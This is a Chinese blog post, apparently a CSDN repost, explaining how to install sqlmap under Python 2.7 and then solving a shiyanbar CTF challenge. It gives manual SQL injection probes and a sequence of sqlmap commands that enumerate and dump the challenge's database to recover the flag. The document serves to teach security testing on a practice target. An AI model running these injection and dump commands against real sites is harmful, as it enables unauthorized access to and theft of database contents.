44.sqlmap的安装与使用

一、sqlmap安装

windows平台,需安装python2版本(一般是2.7或2.8,3.5版本的不支持sqlmap)

SqlMap下载地址:sqlmap下载可下载到最新版本的SqlMap;

Python下载地址:python2.7可下载到相应的Python.建议下载2.7或者2.8版本的python,配合1中的sqlmap

8685807-aac4213d232ab840.png

安装完成后,进入sqlmap的安装目录,输入命令,查看安装版本,若正确安装,则会显示1.2.7.4#dev

D:\Python27\python.exe sqlmap.py --version

因为我电脑默认安装的python是3.5版本的,所以这里调用sqlmap需要指定python的安装路径。

8685807-92cc88f0ca55b80e.png

二、sqlmap使用

题目:http://www.shiyanbar.com/ctf/33

这题主要是学习sqlmap的使用。

首先判断有没有sql注入

1.在网址后加' ,报错

2.在网址后加and 1=1,无报错

3.在网址后加and1=2,有报错,判断有sql注入

然后使用sqlmap来查看数据库信息

1.D:\Python27\python.exe sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db

8685807-a0ec7fb685e98f16.png
8685807-e82b597270af772d.png

2.D:\Python27\python.exe sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

8685807-3f51fd22a1467a58.png
8685807-689c5c055d18a617.png

3.D:\Python27\python.exe sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --column

8685807-452241ea3767a184.png
8685807-c70bb610cd377bb1.png

4.D:\Python27\python.exe sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

8685807-d1f8d2b8f3887013.png
8685807-da2b7350a09f843f.png

解出flag:whatiMyD91dump

猜你喜欢

转载自blog.csdn.net/weixin_33738982/article/details/87232998
今日推荐